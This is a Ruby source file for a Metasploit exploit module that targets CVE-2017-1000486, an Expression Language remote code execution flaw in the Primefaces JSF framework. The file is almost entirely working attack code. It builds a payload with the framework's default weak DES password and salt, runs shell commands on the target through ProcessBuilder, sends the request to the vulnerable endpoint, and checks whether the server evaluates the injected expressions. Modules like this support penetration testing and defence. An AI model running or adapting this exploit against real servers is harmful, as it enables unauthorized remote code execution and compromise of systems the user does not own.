143 lines
6.1 KiB
Ruby
143 lines
6.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Primefaces Remote Code Execution Exploit',
|
|
'Description' => %q{
|
|
This module exploits a Java Expression Language remote code execution flaw in the Primefaces JSF framework.
|
|
Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack,
|
|
due to the use of weak crypto and default encryption password and salt.
|
|
|
|
Tested against Docker image with Tomcat 7.0 with the Primefaces 5.2 showcase application. See
|
|
documentation for working payloads.
|
|
},
|
|
'Author' => [
|
|
'Bjoern Schuette', # EDB
|
|
'h00die' # lots of fixes, documentation, standardization
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['CVE', '2017-1000486'],
|
|
['URL', 'https://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html'],
|
|
['URL', 'https://web.archive.org/web/20180515174733/https://cryptosense.com/blog/weak-encryption-flaw-in-primefaces'],
|
|
['URL', 'https://schuette.se/2018/01/17/cve-2017-1000486-in-your-primeface/'],
|
|
['URL', 'https://github.com/primefaces/primefaces/issues/1152'],
|
|
['URL', 'https://github.com/pimps/CVE-2017-1000486/tree/master'],
|
|
['EDB', '43733']
|
|
],
|
|
'Payload' => {
|
|
'BadChars' => '"\'\\' # all threw errors
|
|
},
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2016-02-15',
|
|
'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' => [
|
|
[
|
|
'Universal', {},
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(80),
|
|
OptString.new('PASSWORD', [ true, 'The password to login', 'primefaces']),
|
|
OptString.new('TARGETURI', [true, 'The base path to primefaces', '/'])
|
|
])
|
|
end
|
|
|
|
def encrypt_el(password, payload)
|
|
# el == Java Expression Language
|
|
salt = [0xa9, 0x9b, 0xc8, 0x32, 0x56, 0x34, 0xe3, 0x03].pack('c*')
|
|
iteration_count = 19
|
|
|
|
cipher = OpenSSL::Cipher.new('DES')
|
|
cipher.encrypt
|
|
cipher.pkcs5_keyivgen password, salt, iteration_count
|
|
|
|
ciphertext = cipher.update payload
|
|
ciphertext << cipher.final
|
|
ciphertext
|
|
end
|
|
|
|
def http_send_command(payload_wrapper)
|
|
encrypted_payload = encrypt_el(datastore['PASSWORD'], payload_wrapper)
|
|
encrypted_payload = Rex::Text.encode_base64(encrypted_payload)
|
|
|
|
# send the payload and execute command
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'javax.faces.resource', 'dynamiccontent.properties.xhtml'),
|
|
'vars_post' => {
|
|
'pfdrt' => 'sc',
|
|
'ln' => 'primefaces',
|
|
'pfdrid' => encrypted_payload
|
|
}
|
|
})
|
|
|
|
res
|
|
end
|
|
|
|
def exploit
|
|
cmd = payload.encoded
|
|
|
|
# good for testing
|
|
# cmd = "whoami"
|
|
# error logs will show
|
|
# Nov 13, 2024 7:10:32 PM org.primefaces.application.resource.StreamedContentHandler handle
|
|
# SEVERE: Error in streaming dynamic resource. Cannot call sendError() after the response has been committed
|
|
payload_wrapper = '${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}'
|
|
payload_wrapper << '${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}'
|
|
payload_wrapper << '${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}'
|
|
payload_wrapper << '${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}'
|
|
payload_wrapper << '${session.getAttribute("scriptengine").eval('
|
|
payload_wrapper << '"var os = java.lang.System.getProperty(\"os.name\");'
|
|
payload_wrapper << 'var proc = null;'
|
|
payload_wrapper << 'os.toLowerCase().contains(\"win\")? '
|
|
payload_wrapper << "proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"cmd.exe\\\",\\\"/C\\\",\\\"#{cmd}\\\"]).start()"
|
|
payload_wrapper << " : proc = new java.lang.ProcessBuilder[\\\"(java.lang.String[])\\\"]([\\\"/bin/sh\\\",\\\"-c\\\",\\\"#{cmd}\\\"]).start();"
|
|
payload_wrapper << 'var is = proc.getInputStream();'
|
|
payload_wrapper << 'var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";'
|
|
payload_wrapper << 'while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}'
|
|
payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().flush()}'
|
|
payload_wrapper << '${facesContext.getExternalContext().getResponse().getWriter().close()}'
|
|
|
|
vprint_status("Attempting to execute: #{cmd}")
|
|
res = http_send_command(payload_wrapper)
|
|
fail_with(Failure::UnexpectedReply, 'Internal server error. Payload may be incompatible.') if res&.code == 500
|
|
# successful exploitation gives us no response
|
|
end
|
|
|
|
def check
|
|
marker = rand_text_alpha_lower(5..9)
|
|
# https://github.com/Pastea/CVE-2017-1000486/blob/main/exploit.py#L135C14-L135C92
|
|
# payload_wrapper = '${facesContext["getExternalContext"]()["setResponseHeader"]("PROVA","123456")}'
|
|
payload_wrapper = "${facesContext[\"getExternalContext\"]()[\"setResponseHeader\"](\"#{marker}\", \"#{marker}\")}"
|
|
|
|
res = http_send_command(payload_wrapper)
|
|
return Exploit::CheckCode::Unknown('Unable to determine due to a HTTP connection timeout') if res.nil?
|
|
return Exploit::CheckCode::Vulnerable('Victim evaluates Java Expression Language expressions') if res.headers && res.headers[marker] == marker
|
|
|
|
Exploit::CheckCode::Safe('Server does not process Java Expression Language expressions, likely not vulnerable')
|
|
end
|
|
|
|
end
|